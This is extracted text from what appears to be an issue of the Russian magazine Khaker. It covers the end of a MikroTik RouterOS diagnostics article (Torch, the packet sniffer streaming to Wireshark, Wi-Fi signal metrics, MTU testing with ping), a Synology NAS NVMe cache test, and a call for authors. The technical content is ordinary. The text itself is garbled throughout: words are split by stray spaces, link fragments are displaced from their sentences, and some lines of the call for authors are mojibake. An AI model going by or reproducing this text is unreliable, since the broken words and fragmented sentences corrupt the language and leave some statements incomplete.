VLAN ID, source/destination address/port, DSCP, битовую и пакет ную ско рость.
Есть удоб ные филь тры, которые поз воля ют делать точ ные выбор ки. Если дан‐ 
ные  в  окне  меня ются  слиш ком  быс тро,  уве личи вай  зна чение  Entry  Timeout.
К  сожале нию,  в  одном  окне  он  может  показы вать  толь ко  тра фик  на  одном
интерфей се, но ник то не меша ет нажать New Window и наб людать за нес коль‐ 
кими  интерфей сами.  Если  Torch  не  показы вает  нуж ного  тра фика  на  нуж ном
интерфей се — налицо проб лемы с мар шру тиза цией.

Torch дает воз можность наб людать за потока ми тра фика в реаль ном вре‐ 
мени. Но в некото рых слу чаях нуж ны более деталь ные дан ные о тра фике. Их
поз воля ет получить инс тру мент IP Sniffer.

IP Sniffer

С  его  помощью  мож но  уви деть  парамет ры  тра фика  и  даже  содер жимое
пакета.

Но иног да тре бует ся более деталь ный ана лиз — нап ример, что бы убе дить ся,
что  TCP  handshake  успешно  про шел  и  дан ные  переда ются.  В  таком  слу чае
в переда ваемых пакетах дол жен при сутс тво вать флаг ACK. Но искать пакеты
в скуд ном интерфей се «Вин бокса» неудоб но.

И тут на помощь при ходит все ми любимый Wireshark — мощ ней ший инс‐ 
тру мент для ана лиза сетево го тра фика. В Filter ука зыва ем нуж ные парамет ры,
что бы  не  сни фать  все  под ряд,  в  General  выбира ем  Filename,  жмем  Apply
и  Start.  Теперь  в  Files  на  роуте ре  мож но  най ти  наш  дамп,  переки нуть  его
на  компь ютер  и  открыть  «Шар ком». О  нем  написа но мно го  ста тей,  поэто му
даже не буду пытать ся писать тут, как с ним работать.

WWW

•Как исполь зовать воз можнос ти филь тров отоб‐ 
ражения Wireshark по мак симуму

•Статьи о Wireshark на NetworkGuru.ru

Но  это  лишь  начало.  Мож но  в  реаль ном  вре мени  наб людать  за  тра фиком
из Wireshark. И без вся ких опе раций с фай лами! Откры ваем «Шарк», в филь‐ 
тре пишем  , на сниф фере RouterOS во вклад ке Streaming
ста вим  галоч ку    и  впи сыва ем  IP‐адрес  компь юте ра
с запущен ным «Шар ком». Мож но пос тавить галоч ку Filter Stream, что бы лить
в «Шарк» не весь тра фик, а толь ко выб ранный.

udp.port == 37008
Streaming  Enabled

Snif‐stream

Shark

Лить тра фик в сниф фер мож но и из фай рво ла. За это отве чает дей ствие sniff
TZSP в  таб лице Mangle. Работа ет  это по ана логии со Sniffer Streaming,  но  в
фай рво ле мож но сде лать более точ ную выбор ку пакетов для сниф фера.

Mangle‐sniff

WIRELESS
Са мая слож ная часть диаг ности ки — это Wi‐Fi. Он и сам по себе очень слож‐ 
ная  тех нология,  к  тому  же  сре да  переда чи  дан ных  общая  и  все  сосед ские
роуте ры  меша ют  работать  тво ему,  так  же  как  и  он  им.
О работе 802.11 написа на не одна  кни га, перес казывать их я не буду. Пос‐ 
мотрим толь ко на инс тру мен ты, которые могут помочь при диаг ности ке.

В RouterOS их нем ного. Самый глав ный — вклад ка Registration в Wireless.
Здесь вид но всю информа цию о под клю чен ных кли ентах: MAC, уро вень сиг‐ 
нала, качес тво сиг нала.

Registration

Са мые важ ные поля:
CCQ — Client Connection Quality. Чем бли же к 100%, тем луч ше. Ниже 60%
озна чает пло хую связь;

•

TX/RX  Signal  Strength  —  уро вень  сиг нала.  Отличное  зна чение  — 
  при емле мое  —    Все,  что  меж ду,  —  хорошо.

Ниже –75 мож но счи тать отсутс тви ем свя зи. По край ней мере, я ори енти‐ 
руюсь на такие циф ры.

•
от 0 до –45, от –55 до –75.

Signal to Noise — отно шение сиг нал/шум. Чем выше — тем луч ше.•

Вто рой  инс тру мент  —  логи.  Собс твен но,  этот  инс тру мент  дол жен  активно
исполь зовать ся  не  толь ко  при  диаг ности ке  Wi‐Fi.  Если  стан дар тных  логов
недос таточ но — прос то вклю чи рас ширен ные.

Log

PING, TRACEROUTE
Пер вым инс тру мен том диаг ности ки у сисад мина всег да был пинг. Но далеко
не все зна ют, сколь ко воз можнос тей он в себе скры вает.

Мно гие стал кивались с тем, что текст на сай те отоб ража ется, а кар тинки
нет.  Или  скрип ты  не  заг рузились,  и  сайт  «поехал».  Это  пер вые  приз наки
несог ласован ности MTU. С  помощью  пин га  мож но  про верить  этот  вари ант.
Ста вим  галоч ку  Dont  Fragment,  выс тавля ем  нуж ный  нам  раз мер  пакета
и смот рим на резуль тат. Если видим   — MTU в канале ниже
задан ного нами зна чения пакета. Умень шаем его и про веря ем сно ва. Таким
обра зом  выяв ляем  мак сималь ный  пакет,  который  про ходит  через  сеть
без фраг мента ции.

packet too large

Ping

WWW

На  сай те  Cisco  есть 
.

под робная  информа ция
об MTU и его изме рении в канале

По умол чанию пакет отправ ляет ся с роуте ра с Src. Address того интерфей са,
в который он вылета ет. Быва ет, что нуж но его поменять. Нап ример, при диаг‐ 
ности ке  мар шру тиза ции  внут ри  VPN  или  кор рек тнос ти  работы  фай рво ла.
Для это го нуж но запол нить поле Src. Address. Не забывай, что адрес дол жен
быть сущес тву ющим, что бы ответный пакет вер нулся.

При  слож ной мар шру тиза ции  необ ходимо  выб рать  нуж ную Routing  Table.
Впро чем,  те,  кто  поль зует ся  нес коль кими  таб лицами  мар шру тиза ции,  и  так
это зна ют.

Не воз можно в одной статье и даже в нес коль ких кни гах опи сать все воз‐ 
можные  проб лемы  и  методы  их  диаг ности ки  и  решения.  Для  эффектив ного
дебага нуж но понимать, как работа ет сеть на каж дом уров не, ее осо бен ности
в кон крет ной реали зации — ведь не быва ет двух оди нако вых сетей: рецеп ты,
работа ющие в одной инфраструк туре, будут бес полез ными для дру гой.

Для  дебага  необ ходимо  понимать,  как  пакет  про ходит  внут ри  RouterOS,
а в осо бо слож ных слу чаях — и знать осо бен ности вен дора. И это отно сит ся
не толь ко к MikroTik. Луч ший инс тру мент дебага — зна ния и опыт!

mailto:dv@bubnovd.net
https://xakep.ru/2020/03/12/good-mikrotik/
https://xakep.ru/2020/05/06/mikrotik-firewall/
https://xakep.ru/2020/06/11/mikrotik-firewall-lvl2/
https://wiki.mikrotik.com/wiki/Manual:Tools/Profiler
https://help.mikrotik.com/docs/display/ROS/Packet+Flow+in+RouterOS
https://xakep.ru/2013/11/05/wireshark-filtres/
https://networkguru.ru/wireshark/
https://www.cisco.com/c/en/us/support/docs/ip/generic-routing-encapsulation-gre/25885-pmtud-ipfrag.html
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Идея уско рить работу жес тких дис ков исполь зовани ем твер‐ 
дотель ных  накопи телей  не  нова.  «Гиб ридные»  дис ки  SSHD,
мно гочис ленные решения для про мыш ленных дата‐цен тров
и  мно гоуров невые  кеши  в  про фес сиональ ных  NAS  сущес‐ 
тво вали  дав но.  В  отно ситель но  дос тупных  домаш них  NAS
такая воз можность тоже есть. Но сто ит ли овчинка выдел ки?
Мы про вели тес ты и готовы поделить ся резуль татами.

В домаш них сетевых накопи телях воз можность соз дать кеш на быс тром SSD
была  всег да,  но  тре бова ла  уста нов ки  твер дотель ного  накопи теля  в  один
из  дос тупных  сло тов  для  дис ков.  Из‐за  это го  осо бой  популяр ностью  она
не поль зовалась. Ситу ация начала менять ся три года назад с выходом Synol‐
ogy DS918+. В этой модели два выделен ных разъ ема для ком пак тных и быс‐ 
трых SSD, выпол ненных в форм‐фак торе M.2. В акту аль ной линей ке Synology
для домаш них поль зовате лей и энту зиас тов (DS720+, DS420+ и DS920+) так‐ 
же есть сло ты для  кеша NVME. С  уче том дос таточ но низ кой сто имос ти сов‐ 
ремен ных NVME SSD труд но не усту пить соб лазну запол нить два пус тующих
сло та.

ПОТЕНЦИАЛЬНЫЕ ПРОБЛЕМЫ
В  боль шинс тве  ста тей  раз дел  о  потен циаль ных  проб лемах  может  рас‐ 
полагать ся  бли же  к  кон цу  тек ста,  если  вооб ще  при сутс тву ет,  но  здесь  явно
не  тот  слу чай.  Тех нология  кеширо вания  с  исполь зовани ем  NVME  —  пал ка
о двух кон цах, спо соб ная при водить к вне зап ным перезаг рузкам устрой ства,
неожи дан ной  потере  записы ваемых  дан ных,  дег радации  все го  тома  с  пос‐ 
леду ющим  дли тель ным  (и  неоче вид ным)  вос ста нов лени ем  и  исклю читель но
быс тро му,  не оправдан ному  записы ваемы ми объ ема ми дан ных  исчерпа нию
ресур са переза писи яче ек кеширу ющих SSD. При этом боль шинс тва проб лем
мож но  избе жать,  пра виль но  выб рав  накопи тели  и  пра виль но  нас тро ив  кеш.
К  сожале нию,  боль шинс тво опи сан ных  ниже момен тов  не  наш ли отра жения
в докумен тации Synology, из‐за чего поль зовате ли сно ва и сно ва нас тупа ют
на одни и те же граб ли.

Спонтанные перезагрузки с потерей данных
При интенсив ном исполь зовании кеша в режиме r/w (для это го тебе при дет ся
соз дать  зер каль ный  мас сив  из  двух  NVME‐накопи телей)  некото рые  поль‐ 
зовате ли  отме чали  неожи дан ные  перезаг рузки  устрой ства,  при водив шие
к потере толь ко что записан ных дан ных (воз никно вение так называ емой write
hole). К при меру, поль зователь DS918+ нас тро ил пару не самых дешевых дис‐ 
ков Samsung 970 Evo в качес тве кеша, но  .
Ана логич ную проб лему  . С чем это свя зано?

от потери дан ных его это не спас ло
об сужда ют в сосед ней вет ке

Де ло здесь в том, что в некото рых моделях NVME‐накопи телей, осно ван‐ 
ных на тех нологи ях TLC и QLC, пос ле исчерпа ния объ ема SLC‐кеша могут воз‐ 
никать задер жки обра бот ки команд записи. Вот готовый рецепт. Возь ми пару
самых дешевых NVME SSD самого малень кого объ ема. Вклю чи  кеш на  чте‐ 
ние‐запись  и  не  забудь  акти виро вать  режим  сквоз ного  кеширо вания  пос‐ 
ледова тель ных  опе раций.  Отве ди  на  кеш  весь  дос тупный  объ ем  накопи‐ 
телей — и начинай запись.

Все  сов ремен ные  SSD  кеширу ют  опе рации  записи.  Записы ваемые  дан‐ 
ные  спер ва  попада ют  в  область  псев до‐SLC,  запись  в  которую  про исхо дит
очень  быс тро.  Накопи тель  будет  уплотнять  дан ные,  переза писы вая  их
в TLC/QLC‐ячей ки в режиме прос тоя.

По ток  дан ных  не  прек раща ется.  Через  корот кое  вре мя  SLC‐буфер
перепол няет ся,  и  кон трол леру  SSD  при ходит ся  одновре мен но  при нимать
новые дан ные и уплотнять уже записан ные. Сво бод ные бло ки быс тро закан‐ 
чива ются,  и  к  опе рации  уплотне ния  добав ляет ся  опе рация  очис тки  ранее
записан ных  бло ков  —  а  она  в  таких  накопи телях  очень  мед ленная.  Через
корот кое вре мя кон трол лер зах лебыва ется, и оче ред ная попыт ка записи при‐ 
водит к тайм‐ауту.

На пом ню, дис ки NVME под клю чают ся не через кон трол лер SATA, который
спо собен  самос тоятель но  обра ботать  ошиб ку,  а  нап рямую  к  шине  PCIe.
Поль зовате ли  модели  DS918+  отме чали,  что  воз никно вение  тайм‐аута
при записи при води ло к спон танной перезаг рузке устрой ства с пос леду ющей
дег радаци ей как кеша, так и все го тома (кеш r/w ста новит ся его неотъ емле‐ 
мой частью).

По доб ные  ошиб ки  отме чали  поль зовате ли  раз ных  моделей  Kingston
и  ADATA  с  кон трол лерами SMI. Отдель ные  поль зовате ли 

 с накопи теля ми WD Black; в то же вре мя дис ки
Samsung 970 Evo в воз никно вении этой ошиб ки не замече ны (впро чем, как и
любые  дру гие  дис ки,  эти  модели  так же  под верже ны  преж девре мен ному
изно су).

жа луют ся  на  пери‐ 
оди чес кие ошиб ки тайм‐аута

Спра вед ливос ти ради — я не слы шал о воз никно вении подоб ных оши бок
в устрой ствах поколе ния 2020 года.

Преждевременное исчерпание ресурса SSD
Поль зователь DS918+ и пары Samsung 960 Evo 256GB 

. На SSD записа но все го 30 Тбайт дан ных,
что даже отда лен но не приб лижа ется к заяв ленно му про изво дите лем ресур‐ 
су. Брак? Воз можно, но малове роят но: слу чай не еди нич ный.

от меча ет преж девре‐ 
мен ное исчерпа ние ресур са SSD

В этом и подоб ных слу чаях проб лема в фак торе коэф фици ента уси ления
записи (write amplification), а точ нее — несов падение опти маль ного для SSD
сце нария работы с фак тичес ким.

Как  извес тно,  для  сох ранения единс твен ного бай та  информа ции  на SSD
необ ходимо  записать  целую  стра ницу  дан ных.  Боль шинс тво  сов ремен ных
SSD‐накопи телей  опе риру ет  стра ница ми  дос таточ но  боль шого  раз мера  —
иног да  в  нес коль ко  мегабайт.  В  то  же  вре мя  кеширо вание  под разуме вает
работу с мно жес твом неболь ших бло ков дан ных — объ емом в десят ки и сот‐ 
ни  килобайт. Запись  каж дого  такого бло ка  тре бует  переза писи целой  стра‐ 
ницы, что при водит к тому, что кон трол лер вынуж ден переза писы вать гораз до
боль шие  (иног да  —  на  поряд ки)  объ емы  дан ных,  чем  пос тупа ет  сна ружи.
Резуль тат более чем логичен: диск исчерпы вает заяв ленный про изво дите лем
ресурс,  что  и  отоб ража ется  в  дан ных  S.M.A.R.T.;  DSM  прис ваивает  накопи‐ 
телю  соот ветс тву ющий  ста тус,  сбра сывая  содер жимое  кеша  на  дис ки
и  перево дя  кеширо вание  в  режим  read‐only.  Ситу ация  штат ная  и  к  потере
дан ных при водить не дол жна, но  .в реаль нос ти иног да при водит

Кста ти: Synology DSM не поз воля ет исполь зовать в качес тве кеширу юще го
накопи теля диск, пол ностью исчерпав ший ресурс по дан ным S.M.A.R.T., даже
если  фак тичес кое  сос тояние  яче ек  NAND  спо соб но  выдер жать  десятик‐ 
ратный объ ем записи.

Минимизируем риски
Как избе жать опи сан ных выше проб лем? Дос таточ но убрать фак торы рис ка.
1. Ес ли  твой  сетевой  накопи тель  работа ет  в  режиме  24/7,  рекомен дую
исполь зовать  кеш  в  режиме  «толь ко  для  чте ния».  Это  и  безопас нее
для  сох раннос ти  тво их  дан ных,  и  щадит  ресурс  накопи теля.  Если  же  ты
пери оди чес ки вык люча ешь NAS, то содер жимое кеша «толь ко для чте ния»
будет сбра сывать ся каж дый раз при заг рузке, что толь ко добавит наг рузки
на SSD. В таком слу чае может иметь смысл режим r/w, в котором содер‐ 
жимое кеша пережи вает перезаг рузку.

2. При  соз дании  кеша  в  режиме  r/w  раз реши  исполь зовать  под  кеш
не более 70–80% объ ема накопи теля. Кон трол лер SSD смо жет под менять
«гряз ные» бло ки незаня тыми, что замет но уве личит ско рость цик личес кой
переза писи и умень шит фак тор write amplification.

3. От кажись от исполь зования дис ков с QLC в качес тве кеширу ющих накопи‐ 
телей.  Да,  QLC —  самая  дешевая  тех нология,  но  такие  дис ки  спо соб ны
под держи вать высокую ско рость записи лишь в рам ках дос тупно го объ ема
псев до‐SLC.  При  исчерпа нии  буфера  ско рость  записи  в  ячей ки  рез ко
пада ет.  Кро ме  того,  память  QLC  при  пос тоян ной  переза писи  изна шива‐ 
ется  замет но  быс трее  TLC,  так  что  эко номия  в  любом  слу чае  ока жет ся
липовой.

4. Не  исполь зуй  сквоз ное  кеширо вание  пос ледова тель ных  опе раций  сов‐ 
мес тно с недоро гими NVME SSD неболь шого объ ема. Оче вид ный совет,
который тем не менее мно гие успешно игно риру ют.

5. По воз можнос ти исполь зуй спе циали зиро ван ные накопи тели Optane (кро‐ 
ме  серии  H).  У  таких  накопи телей  проб лемы  с  тайм‐аута ми  отсутс тву ют
прин ципи аль но.  Дру гой  вари ант  —  спе циали зиро ван ные  NVME‐накопи‐ 
тели Synology, о которых я рас ска жу даль ше.

С под водны ми кам нями разоб рались; мож но прис тупать к экспе римен там.

ТИПЫ КЕШИРОВАНИЯ: НЕОЧЕВИДНАЯ РАЗНИЦА
В акту аль ной вер сии DSM (ОС Synology) мож но выб рать один из двух  типов
кеширо вания:  толь ко  для  чте ния  (read‐only  —  r/o)  и  чте ния‐записи  (read‐
write  —  r/w).  Кро ме  того,  дос тупна  нас трой ка,  поз воля ющая  управлять
кеширо вани ем  опе раций  пос ледова тель ного  чте ния‐записи  (нап ример,
при  стри мин ге  видео  или  записи  на  диск  оче ред ной  резер вной  копии).
По  умол чанию  она  отклю чена:  эффектив ность  такого  кеширо вания  сом‐ 
нитель на, а ресурс SSD оно спо соб но исчерпать в счи таные недели.

У каж дого из двух видов кеширо вания есть как оче вид ные, так и неоче вид‐ 
ные  под водные  кам ни.  При  этом  некото рые  важ ные  парамет ры  в  докумен‐ 
тации не упо мина ются в прин ципе.

Кеш «только для чтения»
Все прос то: один том — один NVME‐накопи тель (почему нель зя исполь зовать
один NVME SSD или зер каль ную пару для кеширо вания двух и более томов —
загад ка).  Кеширу ются  дан ные,  которые  счи тыва ются  с  дис ка  как  внеш ними
поль зовате лями,  так  и  запущен ными  на  устрой стве  про цес сами  (нап ример,
вир туаль ными машина ми).

Ке широ вание «толь ко для чте ния» обла дает одной неп рият ной недоку мен‐ 
тирован ной осо бен ностью: содер жимое кеша сбра сыва ется при вык лючении
или перезаг рузке устрой ства. Соот ветс твен но, если боль шую часть вре мени
твой NAS сто ит вык лючен ным, то на эффектив ности это го вида кеширо вания
мож но  ста вить  крест:  ско рее  все го,  более‐менее  замет ного  КПД  кеш  дос‐ 
тигнет как раз к тому момен ту, ког да ты закон чишь работать с NAS и отклю‐ 
чишь его.

Приб лизитель но так выг лядит КПД моего кеша «толь ко для чте ния» во вре‐ 
мя работы.

Что бы опре делить эффектив ность кеширо вания, я про вел тес тирова ние, син‐ 
хро низи руя содер жимое двух сетевых папок с иден тичным содер жимым (чуть
боль ше полуто ра сотен тысяч фай лов): иде аль ные усло вия для демонс тра ции
уско рения опе раций слу чай ного дос тупа.

Вот харак терис тики сетевой пап ки.

Пер вый  раунд  тес тирова ния,  NVME‐кеш  отсутс тву ет.  Син хро низа ция
заняла 35 мин 23 с.

Вклю чаю  NVME‐кеш,  пов торяю  попыт ку.  33  мин  7  с.  Ожи даемо:  кеш  пуст,
запол няет ся в про цес се син хро низа ции.

Пов торная  син хро низа ция  той  же  пап ки  с  вклю чен ным  NVME‐кешем
заняла  1 мин  40  с.  Полез ность  это го  тес та  сом нитель на:  дан ные  находят ся
как в кеше, так и в опе ратив ной памяти устрой ства.

А  что  будет,  если  отклю чить NVME‐кеширо вание? Отклю чаю  кеш,  пов торяю
син хро низа цию.  1  мин  39  с —  раз ница  в  пре делах  пог решнос ти.  Дей стви‐ 
тель но,  пре дыду щий  тест  ока зал ся  бес полез ным —  дан ные  сис тема  бра ла
в основном из опе ратив ной памяти, а не из кеша NVME.

Ка кое пре иму щес тво даст  кеш «толь ко для  чте ния» в  этом сце нарии? Прак‐ 
тичес ки  никако го:  кеш  не  пережи вает  перезаг рузки,  поэто му  сра зу  пос ле
вклю чения  син хро низа ция  сетевых  папок  будет  занимать  35  мин  вмес то
полуто ра. Точ но так же ведет себя и кеш в опе ратив ной памяти устрой ства,
рас ширить  которую  про ще  и  дешев ле,  чем  возить ся  с  кеширо вани ем
на NVME.

В  каких  сце нари ях  кеш  «толь ко  для  чте ния»  име ет  смысл? Преж де  все го
в  таких,  которые  под разуме вают  пос тоян ную  работу  NAS
в  режиме  24/7  с  пре обла дани ем  опе раций  слу чай ного  дос тупа.  Так же  кеш
будет полезен, если к устрой ству одновре мен но обра щает ся нес коль ко поль‐ 
зовате лей.  Для  меня  же  кеш  в  дан ной  кон фигура ции  ока зал ся  совер шенно
бес полез ным.

Кеш на чтение и запись
На чиная тес тирова ние, я не ожи дал, что кеш «толь ко для чте ния» будет сбра‐ 
сывать ся каж дый раз при заг рузке устрой ства. Этот момент не был отра жен
в докумен тации, и я не пер вый, кто с удив лени ем  .
С  моей  точ ки  зре ния,  для  «вре мен ного»  кеширо вания  есть  опе ратив ная
память,  а  кеш  на  SSD  дол жен  сох ранять ся  меж ду  перезаг рузка ми.  Одна ко
моя  логика  не  сов пада ет  с  логикой раз работ чиков DSM,  поэто му для  вклю‐ 
чения  пос тоян ного  кеша  при ходит ся  акти виро вать  более  опас ный  и  менее
ста биль ный режим кеширо вания чте ния‐записи.

об наружил эту осо бен ность

Важ но  понимать,  что  при  вклю чении  это го  режима  нуж но  исполь зовать
оба NVME SSD в зер кале (RAID 1); кеширо вать ся при этом будет единс твен‐ 
ный  том  на  выбор.  Если  в  тво ей  кон фигура ции  при сутс тву ет  единс твен ный
том для хра нения дан ных — тебе повез ло. Если же томов нес коль ко — при‐ 
дет ся выб рать, какой из них ты хочешь уско рить.

Дру гая  важ ная  вещь:  в  режиме  чте ние/запись  кеш  на  NVME  ста новит ся
частью  тома.  Если  что‐то  слу чит ся  с  SSD  или,  к  при меру,  ты  захочешь
перенес ти жес ткие дис ки на дру гое устрой ство, не отклю чив пред варитель но
кеш,  то  основной  том  будет  пов режден.  Все  это  в  том  чис ле  и  пос ле  вык‐ 
лючения NAS. Поэто му  перед  подоб ными  опе раци ями  с  дис ками  тре бует ся
отклю чать кеш.

Прис тупа ем  к  тес тирова нию.  Чис ло  фай лов  успе ло  изме нить ся  —
перед получе нием вто рого NVME‐накопи теля прош ло некото рое вре мя.

При соз дании  кеша я  ука зал  воз можность исполь зовать  в  качес тве  кеша
до 400 Гбайт (из 465 дос тупных).

Пер вый  раунд  син хро низа ции  с  пус тым  кешем  не  отли чает ся  по  вре мени
от  ситу ации  «без  кеша»;  я  его  про пущу.  Пос ле  того  как  кеш  был  запол нен,
син хро низа ция  сетевых  папок  заняла  1 мин  38  с — резуль тат,  ана логич ный
пре дыду щему экспе римен ту.

Пе резаг ружаю устрой ство, что бы убе дить ся в сох раннос ти кеша. Сра зу пос ле
заг рузки запус каю син хро низа цию. 3 мин 12 с! Толь ко в этом тес те наконец
уда лось  уви деть  раз ницу  меж ду  про изво дитель ностью  кеша  в  опе ратив ной
памяти и кеша на NVME.

Месяц спустя
Я вни матель но  наб людал  за  работой  устрой ства  в  течение месяца. В моем
сце нарии  исполь зования NAS  вклю чает ся  три‐четыре  раза  в  неделю  с  сес‐ 
сиями при мер но на час‐два. Впро чем, ста тис тика SSD‐кеша поз воля ет точ но
узнать и количес тво сес сий, и часы работы устрой ства за этот месяц.

Ис поль зуемый  объ ем  кеша  на  чте ние‐запись  за  все  вре мя  поч ти  дос‐ 
тиг 24 Гбайт — при том что на устрой ство в течение месяца понем ногу сох‐ 
ранялись резер вные копии и отсня тые фотог рафии. На скрин шоте — акту аль‐ 
ное сос тояние кеша.

Как  видим,  в  моем  сце нарии  исполь зования  бес поко ить ся  об  изно се  SSD
не при ходит ся: ресур са дол жно с избытком хва тить на нес коль ко лет. Дан ной
кон фигура цией я доволен. Вот мои наб людения:
1. Пе риоди чес кая  син хро низа ция  папок  с  целью  резер вно го  копиро вания
на порядок быс трее, чем без кеша.

2. Дос туп  к  фай лам  ощу тимо  быс трее  не  стал:  я  единс твен ный  активный
поль зователь, и ско рос ти жес тких дис ков впол не хва тает.

3. За мет но (в разы!) умень шил ся шум от позици они рова ния головок дис ков
как при чте нии, так и при записи дан ных. Дис ки ста ли работать спо кой нее,
пре обла дают  опе рации  пос ледова тель ного  дос тупа,  а  опе рации  слу чай‐ 
ного дос тупа перех ватыва ет и берет на себя кеш NVME.

При этом не про изош ло одной ожи даемой вещи. В моей сети NAS дос таточ‐ 
но бес покой но ведет себя в сос тоянии прос тоя, вре мя от вре мени про сыпа‐ 
ясь прос то от того, что я откры ваю на компь юте ре окно Explorer, на котором
отоб ража ются в том чис ле и дос тупные сетевые пап ки.

Я ожи дал, что NAS смо жет более ста биль но оста нав ливать вра щение дис‐ 
ков и оста вать ся в сос тоянии «сна» в опи сан ных усло виях. Если бы такое слу‐ 
чилось,  я  смог  бы  оста вить  NAS  работать  в  режиме  24/7  (сей час  я  это го
делать  не  хочу  из‐за  шума  дис ков).  Увы,  не  выш ло:  акти вация  NVME‐кеша
никак  не  пов лияла  на  гибер нацию  дис ков  и  их  пери оди чес кое  вклю чение
от любого пин га.

СПЕЦИАЛИЗИРОВАННЫЕ ДИСКИ ДЛЯ КЕШИРОВАНИЯ
Как  я  уже  упо минал,  DSM  отклю чает  кеш  на  чте ние‐запись  (и  не  поз воля ет
боль ше  исполь зовать  SSD  для  кеширо вания),  как  толь ко  уро вень  оставше‐ 
гося ресур са SSD по дан ным S.M.A.R.T. дос тига ет нулево го зна чения. С уче‐ 
том того, что про изво дите ли SSD весь ма кон серва тив ны, «ноль» по S.M.A.R.T.
может  озна чать  исчерпа ние  менее  10%  реаль ного  ресур са  яче ек  памяти.
Нераци ональ но?  Воз можно,  но  дру гого  спо соба  обес печить  целос тность
дан ных у сис темы нет.

Вы пуск модели DS918+ стал отличным проб ным шаром. Армия неволь ных
бета‐тес теров  обес печила  Synology  отче тами  о  проб лемах  и  дан ными
телемет рии. Убе див шись, что поль зовате ли дей стви тель но не понима ют осо‐ 
бен ностей  работы  кон трол леров  SSD  и  прин ципов  орга низа ции  NAND
(положа  руку  на  сер дце,  почему  они  дол жны  это  понимать?),  в  ком пании
решили  выпус тить  спе циали зиро ван ные  для  кеширо вания  NVME  SSD
под собс твен ным име нем.

Что  они  собой  пред став ляют?  Рас смот рим модель  SNV3400‐400G. Фак‐ 
тичес ки серия SNV3400 — ODM‐дис ки на кон трол лере Phison PS5012‐E12DC.
Най ди отли чия.

SNV3400 от Synology

Дже нерик от Phison

В  чем  отли чие  этих  накопи телей  для  кеширо вания  от  ана логич ных  ODM‐
решений?  В  пер вую  оче редь  —  в  зна чении  overprovisioning:  емкость
в 400 Гбайт намека ет на наличие резер вно го пула яче ек прос то гигант ско го
объ ема. При всем желании поль зователь не смо жет зас тавить этот диск «зах‐ 
лебнуть ся» потоком дан ных: стра ницы из под менно го фон да спо кой но при мут
новые дан ные, и отка за в обслу жива нии по тайм‐ауту не слу чит ся. Кро ме того,
TBW накопи теля на 400 Гбайт сос тавля ет 500 Тбайт. В сочета нии с невысо‐ 
ким из‐за боль шого резер вно го пула коэф фици ентом уси ления записи такой
заяв ленный  ресурс  поз волит  подоб ному  спе циали зиро ван ному  дис ку  про‐ 
рабо тать в качес тве кеша на чте ние‐запись замет но доль ше аль тер натив ных
решений даже при оди нако вой фак тичес кой надеж ности NAND.

Впро чем, если ты все‐таки понима ешь прин цип работы кон трол леров SSD
и  NAND‐памяти  и  уста новишь  в  качес тве  кеша  какой‐нибудь  Samsung  Evo
970 на 500 Гбайт,  а  кеш соз дашь все го на 400,  то резуль тат,  ско рее все го,
ока жет ся  не  хуже,  а  луч ше  спе циали зиро ван ного  накопи теля  (у  Samsung
мощ нее кон трол леры и весь ма вынос ливая память). Про верить это утвер жде‐ 
ние, одна ко, я не могу: ста тис тика пока отсутс тву ет.

Еще один инте рес ный  вари ант — исполь зовать  в  качес тве  кеша накопи‐ 
телей  Intel Optane  (за исклю чени ем линей ки H, на  устрой ствах  которой рас‐ 
положе ны два отдель ных SSD — неболь шой Optane и основной объ ем QLC‐
памяти). Накопи тели Optane объ емом 16 Гбайт мож но най ти за копей ки: дис‐ 
ки такого объ ема мало кому инте рес ны, а исполь зовать их так, как хотела Intel
(в  качес тве,  обра ти  вни мание,  кеша  для  основно го  дис ка),  поль зовате лям
дес кто пов  неин терес но:  сов ремен ные  NVME  SSD  дают  ком пак тным Optane
фору и по объ ему, и по про изво дитель нос ти, и по цене за гигабайт.

ЕСЛИ КЕШ БЕСПОЛЕЗЕН
Мне уда лось  , но если для тебя он ока зал‐ 
ся бес полезен, а SSD уже куп лены и уста нов лены в сло ты — что мож но с ними
сде лать?

пе рес тать боять ся и полюбить кеш

В  устрой ствах  от  кон курен тов  ты мог  бы  соз дать  еще  один  том  для  хра‐ 
нения  самых  час то  исполь зуемых  дан ных.  Соот ветс тву ющая  фун кция  дав но
при сутс тву ет  в  QNAP,  а  сов сем  недав но  появи лась  в  про шив ке  ADM
3.5.2.RAG2 (20 октября 2020‐го) и для 

.
ус трой ств ASUSTOR с соот ветс тву ющи‐ 

ми разъ ема ми
В  DSM  6.2  исполь зовать  накопи тели  NVME  для  соз дания  тома  нель зя.

По слу хам, в гря дущем обновле нии DSM 7.0 такая фун кци ональ ность дол жна
появить ся. Но  сро ки  выхода  это го  обновле ния  неиз вес тны:  сей час  тес тиру‐ 
ется лишь пер вая пред варитель ная вер сия.

Впро чем,  если  нель зя,  но  очень  хочет ся,  то  мож но.  В  статье 
 при водят ся под робные инс‐ 

трук ции, как соз дать тома на таких накопи телях. Нуж но отме тить, что решение
име ет  огра ничен ную  при мени мость:  заг ружать ся  с  таких  томов  устрой ство
не будет.

Use  NVME
SSD as storage volume  instead of cache  in DS918

ЗАКЛЮЧЕНИЕ
Ке широ вание  с  помощью  NVME  —  одна  из  самых  про тиво речи вых  воз‐ 
можнос тей  NAS.  Мно гочис ленные  прог рам мные  огра ниче ния,  вре мена ми
весь ма  стран ная  логика  раз работ чиков,  сом нитель ная  эффектив ность  кеша
в  режиме  «толь ко  для  чте ния»,  потен циаль ные  рис ки  и  экс плу ата ция  SSD
на  износ  в  режиме  чте ния‐записи  отвра тят  мно гих,  если  не  боль шинс тво,
от исполь зования этой фун кции. В то же вре мя, если твой сце нарий исполь‐ 
зования попада ет в одну из нес коль ких узких ниш, для которых кеширо вание
оправдан но, ты смо жешь сде лать свой NAS быс трее и тише с минималь ными
уси лиями.
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СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

